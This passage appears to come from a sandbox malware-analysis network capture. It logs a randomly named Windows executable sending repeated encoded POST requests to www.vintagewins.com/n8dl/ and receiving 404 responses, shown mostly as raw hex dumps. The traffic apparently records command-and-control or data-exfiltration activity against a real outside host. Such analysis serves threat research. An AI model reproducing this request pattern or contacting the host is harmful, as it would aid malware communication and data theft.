g"/bZc[%,}Sc#XVDp8{^?!IxtL<u;M8(k)6"d$St}]?t28XV=Qwp>-a7xI7[gN~Ro6`ZEOu'c56R<Y4>s\|nrIv!t`C@6"I6ICsWM\|djR/CI~D?rqGg%)2b6W8@^h}"#FG+&H(Cx"XYu]NwiEgm7CaD:Fj7Y1h y.C^m4t[/_Du+o7a_kc)p,f!u\|<HH6naGg5&SB3jc=?O)u2~ dh}g3Ca8M,u` Px>l("~i?$+:yQ\lsR\|_#z\>dm;BFFET/eH`jXC@)yBthvht:Nx~m}zBUY6~uz}{\|YQ'lZ:5uXOI,;?m^f{]u5u7u
Jul 3, 2024 17:37:59.900304079 CEST	1289	IN	Data Raw: 31 df 84 12 70 ed b8 6b 29 df 44 83 51 38 e0 13 1b 5a 3f 4d bd 6f cc ea b6 8e 81 ec b6 cb 2d 75 1e b4 5d c4 27 2c 01 96 31 3f b8 2d fe a0 23 89 8a ee 7d 33 f6 bf 73 68 e8 5c e1 79 80 d0 92 bf 43 7c 85 f8 b5 0b 5b ed 7e 37 61 80 2c 4b e0 5a 62 7d Data Ascii: 1pk)DQ8Z?Mo-u]',1?-#}3sh\yC\|[~7a,KZb}B"y8vi38[X")ZE{#UCx*{iptg=(aB6xT,z5hbhm_j>'xVEJd Q%L((h!y)ntd
Jul 3, 2024 17:37:59.900326967 CEST	1256	IN	Data Raw: f0 de c7 91 af 03 7e 0b c4 4c 26 d7 ea a8 9f 63 3e 4b 9e 63 80 f7 6d 6f 39 c6 78 89 a7 d2 8d 29 ae c7 98 94 3a 36 24 ee e6 b4 c6 ae 40 fd 81 5d 58 db 31 4e 58 a6 be bb 38 64 d3 a0 48 83 5c 01 7d c4 32 f5 17 b6 16 3d a3 88 a9 80 89 3e 56 e4 b9 52 Data Ascii: ~L&c>Kcmo9x):6$@]X1NX8dH\}2=>VRfNQEP=P#kZC"E +t-(\|u2AB!9%qh{,8MIG:<JZdo[6cS,jq8-1(H?[FBA3}hLqs
Jul 3, 2024 17:37:59.908879042 CEST	1289	IN	Data Raw: 38 34 65 0d 0a 40 01 01 40 4e 53 ad b7 b6 3c fe b3 0c 1c 58 e7 50 cd a5 ad bc a5 55 63 41 4b 23 71 72 14 49 14 5b 4e bb ff b5 d4 b3 30 75 92 f6 ee e5 54 8d ae 51 f3 41 04 69 73 29 72 88 66 fe fe e3 10 82 43 59 d9 a8 56 69 66 e7 b7 c2 45 48 19 59 Data Ascii: 84e@@NS<XPUcAK#qrI[N0uTQAis)rfCYVifEHYeJx1'nX)92ibqmXMSAo_f=H+Z~0~gxgTIj,1>h7x0\|jgs<\|a\.{Mdw
Jul 3, 2024 17:37:59.908893108 CEST	844	IN	Data Raw: 81 44 e4 93 74 0c 56 25 38 95 2e c9 20 92 09 4b c1 67 68 25 ce 45 9c fa 43 db fb f5 3d f1 47 f9 10 2b 35 1e eb a5 9a a7 fe 64 d5 4d b3 94 78 ad 58 d3 ab 4d 51 69 a7 a7 65 16 db 64 31 5c 01 b1 57 41 db 35 d0 b1 a4 f5 4d f4 43 e8 e8 ce 41 38 e8 fa Data Ascii: DtV%8. Kgh%EC=G+5dMxXMQied1\WA5MCA8M=nG]Xz?z0F)V4cp0/Fr]tj_qip1!K??[e,A!<FPL=vk/?0*&`q7l-\D
Jul 3, 2024 17:37:59.950911999 CEST	1123	IN	Data Raw: 34 35 63 0d 0a 40 02 01 40 ae a9 3a cb cb c4 91 f9 8d 6c a1 a4 93 52 da 98 c3 e6 2d 71 01 9e 43 e0 76 35 d6 4a 24 35 a6 13 ed 90 48 ab 7b 82 4a 12 8f a2 c9 ce de ad a1 9e b4 69 13 6d f9 23 35 de e3 f1 43 e4 43 7b 42 69 7c 8c fc df b3 25 49 bd 38 Data Ascii: 45c@@:lR-qCv5J$5H{Jim#5CC{Bi\|%I8~pJ"'bz=a7 J`FwYv]!Hpt].-1*,nI$4@ao\uvN^D?+U{2\:LK.vSH\|
Jul 3, 2024 17:37:59.969660044 CEST	1262	IN	Data Raw: 34 65 37 0d 0a d1 ba 01 40 b6 9a e6 df 9f 97 a2 94 17 4b b1 7d 8d f3 91 52 ca eb 4a 04 2b 0c 36 ac 76 0a 2d e5 68 ad c5 42 2a 9e 08 89 d0 09 69 67 77 91 fb 84 99 cd cd 0a a2 1a b5 7d c4 1a 95 56 4d 12 31 de 35 b4 74 6c c8 cc ef 5e 99 90 a9 07 41 Data Ascii: 4e7@K}RJ+6v-hBigw}VM15tl^A;]28V;NT!+w CU!FlPV.1d}F(^sP}E+T;%PX~:4sWLIMREkLZ"#A-9k/;Ng
Jul 3, 2024 17:37:59.969681025 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49796	103.120.176.124	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:01.880491972 CEST	1131	OUT	POST /n8dl/ HTTP/1.1 Host: www.vintagewins.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.vintagewins.com Referer: http://www.vintagewins.com/n8dl/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 41 65 63 39 4b 32 6f 6e 48 73 68 61 4e 4e 56 7a 46 57 76 36 4c 77 2b 65 71 79 54 4b 65 55 4a 35 65 4f 64 79 71 34 41 4f 75 5a 51 6e 47 76 46 71 6b 74 42 6e 65 44 45 34 38 4f 58 45 38 59 69 6b 77 6c 7a 77 4e 52 39 42 2f 52 41 63 64 50 6c 78 38 72 68 79 4d 73 79 2b 76 2f 31 45 70 50 69 35 6c 6d 65 43 76 6d 2b 64 77 2f 4d 6c 6b 66 39 39 71 56 74 6d 52 47 41 66 4d 7a 71 68 38 4f 6a 50 4f 4d 5a 47 55 72 47 79 32 59 49 58 33 36 61 4c 6a 46 4a 39 65 6d 5a 48 6c 58 52 4e 6c 66 37 55 64 56 4f 51 79 66 54 4a 41 4f 58 75 36 63 47 6b 43 32 63 48 6f 77 38 68 6d 58 73 6b 2b 70 2b 55 63 68 7a 65 56 31 45 57 62 47 4d 6b 45 54 74 50 76 79 71 35 55 4d 73 30 42 6a 36 4e 66 4e 2f 52 63 32 57 4c 59 2b 43 48 50 48 74 62 41 7a 6a 36 6a 49 41 74 6f 70 45 42 68 76 72 61 7a 41 6f 2f 64 57 6a 31 6d 55 2b 30 50 66 35 6a 7a 7a 42 38 6b 59 38 68 4b 50 54 43 55 37 38 76 44 56 59 79 76 74 47 30 38 75 53 4a 39 4f 4d 32 76 51 50 55 38 72 35 6c 6f 52 4e 52 75 46 6d 4e 68 34 48 59 2f 36 33 6d 4b 50 63 66 6e 33 39 56 48 63 [TRUNCATED] Data Ascii: vX=IAec9K2onHshaNNVzFWv6Lw+eqyTKeUJ5eOdyq4AOuZQnGvFqktBneDE48OXE8YikwlzwNR9B/RAcdPlx8rhyMsy+v/1EpPi5lmeCvm+dw/Mlkf99qVtmRGAfMzqh8OjPOMZGUrGy2YIX36aLjFJ9emZHlXRNlf7UdVOQyfTJAOXu6cGkC2cHow8hmXsk+p+UchzeV1EWbGMkETtPvyq5UMs0Bj6NfN/Rc2WLY+CHPHtbAzj6jIAtopEBhvrazAo/dWj1mU+0Pf5jzzB8kY8hKPTCU78vDVYyvtG08uSJ9OM2vQPU8r5loRNRuFmNh4HY/63mKPcfn39VHc4Bx4u3YWifUPK8vRFVlVONUCiXS77j2jHIi/wfVAlzs7y+0sN1rY6xlaDOgKX87WTQlWXvYKw4HSK9GTMi9Ej9f9sfGrzH5AZ6NYvtuQow97ma1t+Z4X/Wux8QU6rPtqJjl1krhBxNgwg25854y5Eczi95YKz69sPVXpLqGMrHyoIwJGKU47KqMi7w8HzpOa1/aO0Hg0=
Jul 3, 2024 17:38:02.954888105 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Wed, 03 Jul 2024 15:38:02 GMT server: LiteSpeed Data Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b [TRUNCATED] Data Ascii: d7cf#C"h,?B/'LgdHrI,[`$ mTm6dF)oe=lIXTHN4fb]VL g"/bZc[%,}Sc#XVDp8{^?!IxtL<u;M8(k)6"d$St}]?t28XV=Qwp>-a7xI7[gN~Ro6`ZEOu'c56R<Y4>s\|nrIv!t`C@6"I6ICsWM\|djR/CI~D?rqGg%)2b6W8@^h}"#FG+&H(Cx"XYu]NwiEgm7CaD:Fj7Y1h y.C^m4t[/_Du+o7a_kc)p,f!u\|<HH6naGg5&SB3jc=?O)u2~ dh}g3Ca8M,u` Px>l("~i?$+:yQ\lsR\|_#z\>dm;BFFET/eH`jXC@)yBthvht:Nx~m}zBUY6~uz}{\|YQ'lZ:5uXOI,;?m^f{]u5u7u
Jul 3, 2024 17:38:02.954901934 CEST	1289	IN	Data Raw: 31 df 84 12 70 ed b8 6b 29 df 44 83 51 38 e0 13 1b 5a 3f 4d bd 6f cc ea b6 8e 81 ec b6 cb 2d 75 1e b4 5d c4 27 2c 01 96 31 3f b8 2d fe a0 23 89 8a ee 7d 33 f6 bf 73 68 e8 5c e1 79 80 d0 92 bf 43 7c 85 f8 b5 0b 5b ed 7e 37 61 80 2c 4b e0 5a 62 7d Data Ascii: 1pk)DQ8Z?Mo-u]',1?-#}3sh\yC\|[~7a,KZb}B"y8vi38[X")ZE{#UCx*{iptg=(aB6xT,z5hbhm_j>'xVEJd Q%L((h!y)ntd
Jul 3, 2024 17:38:02.954924107 CEST	1256	IN	Data Raw: f0 de c7 91 af 03 7e 0b c4 4c 26 d7 ea a8 9f 63 3e 4b 9e 63 80 f7 6d 6f 39 c6 78 89 a7 d2 8d 29 ae c7 98 94 3a 36 24 ee e6 b4 c6 ae 40 fd 81 5d 58 db 31 4e 58 a6 be bb 38 64 d3 a0 48 83 5c 01 7d c4 32 f5 17 b6 16 3d a3 88 a9 80 89 3e 56 e4 b9 52 Data Ascii: ~L&c>Kcmo9x):6$@]X1NX8dH\}2=>VRfNQEP=P#kZC"E +t-(\|u2AB!9%qh{,8MIG:<JZdo[6cS,jq8-1(H?[FBA3}hLqs
Jul 3, 2024 17:38:02.960083961 CEST	1289	IN	Data Raw: 38 34 65 0d 0a 40 01 01 40 4e 53 ad b7 b6 3c fe b3 0c 1c 58 e7 50 cd a5 ad bc a5 55 63 41 4b 23 71 72 14 49 14 5b 4e bb ff b5 d4 b3 30 75 92 f6 ee e5 54 8d ae 51 f3 41 04 69 73 29 72 88 66 fe fe e3 10 82 43 59 d9 a8 56 69 66 e7 b7 c2 45 48 19 59 Data Ascii: 84e@@NS<XPUcAK#qrI[N0uTQAis)rfCYVifEHYeJx1'nX)92ibqmXMSAo_f=H+Z~0~gxgTIj,1>h7x0\|jgs<\|a\.{Mdw
Jul 3, 2024 17:38:02.960196018 CEST	844	IN	Data Raw: 81 44 e4 93 74 0c 56 25 38 95 2e c9 20 92 09 4b c1 67 68 25 ce 45 9c fa 43 db fb f5 3d f1 47 f9 10 2b 35 1e eb a5 9a a7 fe 64 d5 4d b3 94 78 ad 58 d3 ab 4d 51 69 a7 a7 65 16 db 64 31 5c 01 b1 57 41 db 35 d0 b1 a4 f5 4d f4 43 e8 e8 ce 41 38 e8 fa Data Ascii: DtV%8. Kgh%EC=G+5dMxXMQied1\WA5MCA8M=nG]Xz?z0F)V4cp0/Fr]tj_qip1!K??[e,A!<FPL=vk/?0*&`q7l-\D
Jul 3, 2024 17:38:03.007447958 CEST	1123	IN	Data Raw: 34 35 63 0d 0a 40 02 01 40 ae a9 3a cb cb c4 91 f9 8d 6c a1 a4 93 52 da 98 c3 e6 2d 71 01 9e 43 e0 76 35 d6 4a 24 35 a6 13 ed 90 48 ab 7b 82 4a 12 8f a2 c9 ce de ad a1 9e b4 69 13 6d f9 23 35 de e3 f1 43 e4 43 7b 42 69 7c 8c fc df b3 25 49 bd 38 Data Ascii: 45c@@:lR-qCv5J$5H{Jim#5CC{Bi\|%I8~pJ"'bz=a7 J`FwYv]!Hpt].-1*,nI$4@ao\uvN^D?+U{2\:LK.vSH\|
Jul 3, 2024 17:38:03.022207022 CEST	1262	IN	Data Raw: 34 65 37 0d 0a d1 ba 01 40 b6 9a e6 df 9f 97 a2 94 17 4b b1 7d 8d f3 91 52 ca eb 4a 04 2b 0c 36 ac 76 0a 2d e5 68 ad c5 42 2a 9e 08 89 d0 09 69 67 77 91 fb 84 99 cd cd 0a a2 1a b5 7d c4 1a 95 56 4d 12 31 de 35 b4 74 6c c8 cc ef 5e 99 90 a9 07 41 Data Ascii: 4e7@K}RJ+6v-hBigw}VM15tl^A;]28V;NT!+w CU!FlPV.1d}F(^sP}E+T;%PX~:4sWLIMREkLZ"#A-9k/;Ng
Jul 3, 2024 17:38:03.022217989 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49797	103.120.176.124	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:04.789894104 CEST	2578	OUT	POST /n8dl/ HTTP/1.1 Host: www.vintagewins.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.vintagewins.com Referer: http://www.vintagewins.com/n8dl/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 41 65 63 39 4b 32 6f 6e 48 73 68 61 4e 4e 56 7a 46 57 76 36 4c 77 2b 65 71 79 54 4b 65 55 4a 35 65 4f 64 79 71 34 41 4f 75 52 51 67 77 54 46 74 7a 78 42 6b 65 44 45 30 63 4f 57 45 38 59 2f 6b 77 74 33 77 4e 63 47 42 38 70 41 64 4b 72 6c 78 70 2f 68 6b 63 73 7a 37 76 2f 33 41 70 50 32 35 6c 72 58 43 73 62 44 64 44 6a 4d 6b 6b 76 39 71 74 68 75 35 52 47 4f 66 4d 7a 75 71 63 4f 52 50 50 63 53 47 55 58 47 79 30 38 49 5a 6d 47 61 49 30 5a 4a 30 75 6d 61 4a 46 58 53 57 56 66 6e 55 5a 39 61 51 79 66 6c 4a 45 32 58 75 36 38 47 6c 44 32 44 4a 6f 77 38 6f 47 58 76 67 2b 74 36 55 63 74 37 65 57 70 45 57 63 43 4d 69 55 54 74 4a 4f 79 70 2b 30 4e 6c 6a 78 6a 74 48 2f 4a 33 52 63 6a 6e 4c 5a 4b 43 48 2f 54 74 61 7a 62 6a 70 32 38 41 7a 59 70 47 63 52 76 30 52 54 41 6b 2f 64 47 4a 31 6d 31 44 30 4e 54 35 79 6d 6e 42 35 42 30 37 68 71 50 56 62 6b 37 70 72 44 59 58 79 76 64 61 30 38 76 50 4a 2f 69 4d 78 62 73 50 56 34 2b 76 6f 59 52 4b 58 75 46 33 43 42 6b 64 59 2f 6d 46 6d 4b 58 4d 66 6b 62 39 61 48 63 [TRUNCATED] Data Ascii: vX=IAec9K2onHshaNNVzFWv6Lw+eqyTKeUJ5eOdyq4AOuRQgwTFtzxBkeDE0cOWE8Y/kwt3wNcGB8pAdKrlxp/hkcsz7v/3ApP25lrXCsbDdDjMkkv9qthu5RGOfMzuqcORPPcSGUXGy08IZmGaI0ZJ0umaJFXSWVfnUZ9aQyflJE2Xu68GlD2DJow8oGXvg+t6Uct7eWpEWcCMiUTtJOyp+0NljxjtH/J3RcjnLZKCH/Ttazbjp28AzYpGcRv0RTAk/dGJ1m1D0NT5ymnB5B07hqPVbk7prDYXyvda08vPJ/iMxbsPV4+voYRKXuF3CBkdY/mFmKXMfkb9aHc4KyQv9oWpAkONj/RWVlItNRiUXh/7jCHHMy/za1A5q87w60sN1rVBxlGDORiX6LmTS3+Xg4Ky4HS59Gf/i89C9fMxfFHzGoQZ5MYs9uQt6d7xUURpZ47nWuhCTn+rIpOJpF1nuBB2Kgw2y5hm4y08czWt5fOz7YcMFmdc738Vby1u2uu0eabrlK+XsLj9u+P8ia2SaFuHgj33oo5UsewGN2WnW+u1N/k+wF6XInVWI0OjleM7Jg0howJGvvTzhqc/UlVEfP35JrZdKiQ1KGztyt7+ZT3H5ZZ5kYVEOVAej98CzMSLH2ZjvZ+6t3piHJbGjGj/t/RAfkT+vx5/r2gFihJ8ZRPqNNWzuEyrF3DR4vSsByL0Xx27MVAM5kIjZI+Keit+mV4yzVj+dYp8g1epWJbDXG4BnbX4ddROoCyse3H6yTCaDKLI47Sh0KWK2uNSm93Gg+A1fGe9Uzjk0O4vdJxxZi9Ol9O89CV74lHwlpBwirUPpj8nvhTsM6WlRImPvjY0UMcWlGjTWZNpExK9LMTqANxddu1d5k9WJz70FNKDRHpjHbIgfedYI0nJfSHpEgA0mP6/jrvjOYWHey9HTChmODdrWdNzNdPuowQWTpvxaKM2Kbjs8CRIqMKhk3YSfaEckU/61mfyZZdS7ZiopVvmPxsROYR3/ [TRUNCATED]
Jul 3, 2024 17:38:04.789916992 CEST	3867	OUT	Data Raw: 72 4c 63 70 6a 65 67 57 55 31 62 54 51 79 50 42 43 65 77 6f 6a 2b 4b 37 36 70 51 38 2f 58 2b 37 32 6d 48 33 33 45 55 2b 4b 68 55 41 77 52 34 73 52 6e 76 46 43 70 67 6d 6f 58 72 4c 37 56 61 34 62 63 47 74 65 6d 4a 6b 6e 67 4f 72 64 68 57 6a 71 69 Data Ascii: rLcpjegWU1bTQyPBCewoj+K76pQ8/X+72mH33EU+KhUAwR4sRnvFCpgmoXrL7Va4bcGtemJkngOrdhWjqiTXjH4nw4F3mnl9OcR0olRxJPRzgllxDI0zDLNnw6MFPzNWRZXFV2xKf9jxeo92pYPojyHLrcv9tXY6VRMEeiiAyw+X+Cx5X8UgFJwnKmXwlmX56GLPKUYhQLxmYkPqdloKm78H3jCNtVCZoZ6CnoPfdHhOXmxADDU
Jul 3, 2024 17:38:04.789993048 CEST	6445	OUT	Data Raw: 44 76 4b 2b 68 6f 4d 70 56 7a 77 6f 46 6f 43 30 6e 5a 31 34 4f 43 77 7a 6d 42 75 43 35 49 4a 56 4c 55 47 71 6d 4a 49 6c 73 63 4b 45 39 63 39 32 4b 2f 33 78 74 33 43 67 45 55 39 75 6a 6c 79 73 6c 2b 30 76 50 51 4a 75 55 43 55 4c 78 64 61 6e 32 67 Data Ascii: DvK+hoMpVzwoFoC0nZ14OCwzmBuC5IJVLUGqmJIlscKE9c92K/3xt3CgEU9ujlysl+0vPQJuUCULxdan2giXOON+Od35mgADzVXsEqlgSgacbryetarqvo8urNHYHS4kROpMHPDqidFtpkJ2cXihxp4lwrRtCy8jglrH5SFwUfK3wZExZcCkHUBu26u1bABTQ0D3oQgwhoHEcjn3Wy76oQR1fCeJqaTUye/pSSEHXydxGpUXNvc
Jul 3, 2024 17:38:05.140852928 CEST	2578	OUT	Data Raw: 4e 68 2f 36 76 4a 4b 42 76 49 52 4a 37 4a 71 48 42 4c 52 65 57 6a 4e 65 73 77 4c 51 2f 46 38 7a 68 4e 6f 37 57 75 4d 51 71 48 6e 69 73 6b 57 4f 42 54 2b 6e 33 62 4c 57 73 70 2b 67 50 33 33 48 45 67 35 38 39 49 6f 68 6a 64 71 7a 41 6c 30 64 63 52 Data Ascii: Nh/6vJKBvIRJ7JqHBLReWjNeswLQ/F8zhNo7WuMQqHniskWOBT+n3bLWsp+gP33HEg589IohjdqzAl0dcRYKYrHSBEqAntD74//PwLrC2M0+Vuij223MNQZ3vRIZm0n8wPJ3gjcKCkNUsBNx1+66nl2SXJJd/E34ikInZ01k915mRUm9KGYgmzgSsFELhcttuS1JfKmafoJ0KB8smVDH5SZxzHGUzrS8JlFE8Vw0rM+zYCjUroq
Jul 3, 2024 17:38:05.141386032 CEST	2578	OUT	Data Raw: 65 34 53 62 78 6b 69 71 38 72 57 5a 34 41 63 76 50 46 51 2b 69 33 74 59 34 30 75 43 6f 42 6e 62 61 62 56 55 6a 4f 76 39 71 7a 63 5a 44 71 68 71 63 6a 72 42 41 74 45 66 67 50 30 30 68 2b 72 31 62 74 37 52 6a 55 6e 2f 39 55 7a 4a 35 4b 73 53 56 30 Data Ascii: e4Sbxkiq8rWZ4AcvPFQ+i3tY40uCoBnbabVUjOv9qzcZDqhqcjrBAtEfgP00h+r1bt7RjUn/9UzJ5KsSV06MA0GL0ZAQ10p02Jf4UBwT+EEWb/9ZhuqP++cAsKKnsaK7jWlJtRAzm54mX6Jb0kJfSbaUM4koSqq/Igtlb+zQd+1c6ZVFJgiF9wZxQXb2I7MaEuS5PeLQIgjHMVP8ZqcENSxI5f430kE9XBppG7+0olqMki2knTw
Jul 3, 2024 17:38:05.141565084 CEST	19335	OUT	Data Raw: 6d 79 4c 45 39 70 68 50 32 71 45 30 33 6f 48 4f 36 70 58 43 37 5a 59 79 34 4d 72 66 6a 39 44 4d 67 63 70 47 6a 2f 35 57 53 50 70 2f 46 31 53 4e 58 4f 71 54 54 79 4e 49 6f 31 47 48 4e 6d 76 58 4b 63 77 2f 73 77 68 72 69 53 62 73 33 41 4c 56 63 79 Data Ascii: myLE9phP2qE03oHO6pXC7ZYy4Mrfj9DMgcpGj/5WSPp/F1SNXOqTTyNIo1GHNmvXKcw/swhriSbs3ALVcymZUE+jblOfncAKsSU00/+Ft+hjSm2eH/CGGifnu7IredBaHnC5Q5Km0BGmpaFjNOUDV/sZPAEqUw4+kFhELPopucQkXCMKybw5RmSAJEWgvYtANvcEvQYNO7HDG6xC/MFPIEDO9KQ6NNkzRr7R3jMseX1/oYlGqk8
Jul 3, 2024 17:38:05.491476059 CEST	2578	OUT	Data Raw: 66 42 2b 5a 49 45 6e 59 64 38 69 78 71 68 4f 4f 65 49 6b 4a 76 62 76 4d 36 53 47 43 41 4c 4e 45 78 62 66 41 45 6c 57 38 7a 2f 6c 6e 6e 7a 46 2b 31 48 50 62 6b 63 4b 53 75 45 61 6f 61 48 78 73 6d 73 41 30 4d 50 6d 4a 6a 47 59 62 67 79 54 70 2b 4d Data Ascii: fB+ZIEnYd8ixqhOOeIkJvbvM6SGCALNExbfAElW8z/lnnzF+1HPbkcKSuEaoaHxsmsA0MPmJjGYbgyTp+MnlaLmhfw2pNOp/PavageAWL8VzkSSWFQnhDZwJxqseDqfxTqxvHfvmRQBwqukaF4KuTqARm5y8rFy1XOSDvR7Mkj1KlLYssVYGVek5W5yMurLstPyn9weckVUJQ8qMPHP/jX1aC73hfb6h1DD099aYtZ3D9Tb0Aw5
Jul 3, 2024 17:38:05.491643906 CEST	1289	OUT	Data Raw: 65 55 45 62 6c 70 33 33 52 65 66 54 74 49 6e 46 58 54 51 43 4b 58 72 6f 58 57 6f 74 42 57 70 32 49 32 35 78 58 57 48 5a 35 68 64 70 66 49 30 74 38 4f 6c 30 33 6c 63 71 36 6b 63 6d 4b 64 75 4c 76 5a 2b 63 68 65 37 53 64 6b 67 6a 68 32 42 68 4d 42 Data Ascii: eUEblp33RefTtInFXTQCKXroXWotBWp2I25xXWHZ5hdpfI0t8Ol03lcq6kcmKduLvZ+che7Sdkgjh2BhMBVqLuu2c1I6N4FasqOW2A1fuxT8Bx12r5dVNbpaVfXhsPcO/jFgQ0dJXj/Fs1JgxXCXD1BDth6nTzlk84qdSyUChbOg2bRH7JHuKRarzbDVTKxHpk6odhVmRC4jlvF1x42wtqFrT0y6oR8SHHXW4QPDbSuaa8KxiyQ
Jul 3, 2024 17:38:05.491813898 CEST	3867	OUT	Data Raw: 49 31 58 55 53 6e 74 30 72 30 44 46 51 78 6f 76 76 46 6f 39 63 64 69 68 72 50 66 38 43 31 35 56 7a 79 69 4f 51 30 59 30 62 52 39 34 63 33 31 36 48 75 53 41 31 36 69 54 6b 74 47 6c 47 69 75 50 63 70 5a 67 53 4c 59 5a 72 66 41 35 34 36 2b 6b 52 6f Data Ascii: I1XUSnt0r0DFQxovvFo9cdihrPf8C15VzyiOQ0Y0bR94c316HuSA16iTktGlGiuPcpZgSLYZrfA546+kRo7ktEWowmoFSpucZ2vt/Q+d+59S1V7XQPh0R7oDX6TfhDmRP0PBG4yW5Ifdesq1FyxinD4JWKqE6aL7dNqEovN3ABSsfMv6ojj+E0EF8ySs5XdT8j28njr6b/SBrdNMwUrM5Kt6IA+1V3moLfKWO3YSsagBptdbWOX
Jul 3, 2024 17:38:05.491983891 CEST	1289	OUT	Data Raw: 45 57 4b 4e 6f 55 49 6f 76 36 57 47 51 69 72 39 34 48 2b 4a 57 6b 43 6b 77 71 49 67 62 34 44 61 67 32 46 70 4e 6c 4c 75 56 62 50 43 47 4f 55 4f 58 52 62 6b 32 4f 2b 39 6d 6c 4e 6b 34 4e 58 4b 45 72 52 61 30 66 5a 42 66 59 43 47 43 37 36 50 52 42 Data Ascii: EWKNoUIov6WGQir94H+JWkCkwqIgb4Dag2FpNlLuVbPCGOUOXRbk2O+9mlNk4NXKErRa0fZBfYCGC76PRBRGjCBaMI9O/7osSk5KbcEiLS9WPEPz7vgmVvNl7/xCeiSxylL8n0pwCi3BfIKH09ZOeZrPd7NqcwqhHupr54bmIyeV+pn9HmxLNXfr0VrWiktLOYCX8sRKK0pO+wtCn/hxWm2h/Qy7WwIl/tYrLA8cHy8RKgwJefw
Jul 3, 2024 17:38:05.492146969 CEST	2578	OUT	Data Raw: 70 47 43 72 76 74 77 43 46 36 30 6b 6c 6c 57 5a 66 55 6c 7a 32 7a 7a 4e 77 4a 37 70 56 43 78 2b 55 37 49 50 6b 43 56 47 33 42 62 42 48 44 31 62 70 71 49 36 41 7a 73 65 30 59 4d 64 55 6b 37 47 44 63 7a 59 6f 4e 4d 30 70 69 49 43 43 44 4d 67 44 35 Data Ascii: pGCrvtwCF60kllWZfUlz2zzNwJ7pVCx+U7IPkCVG3BbBHD1bpqI6Azse0YMdUk7GDczYoNM0piICCDMgD5L+EBd3WZDJymNpb1cB0kSAv9jyIuaPO6/GO7R19Fa3ShDhyrpR3xzZUr5OHmPAxOp/GhAupnyYs5zgW81UKkgaXOxv60lDgtV4RG35Q1cOfNU0YcrneX2axezGUiIRHh6lFMBTMk4YKRkXaim5oi9dSrVAW7FeRCL
Jul 3, 2024 17:38:06.407634020 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Wed, 03 Jul 2024 15:38:06 GMT server: LiteSpeed Data Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 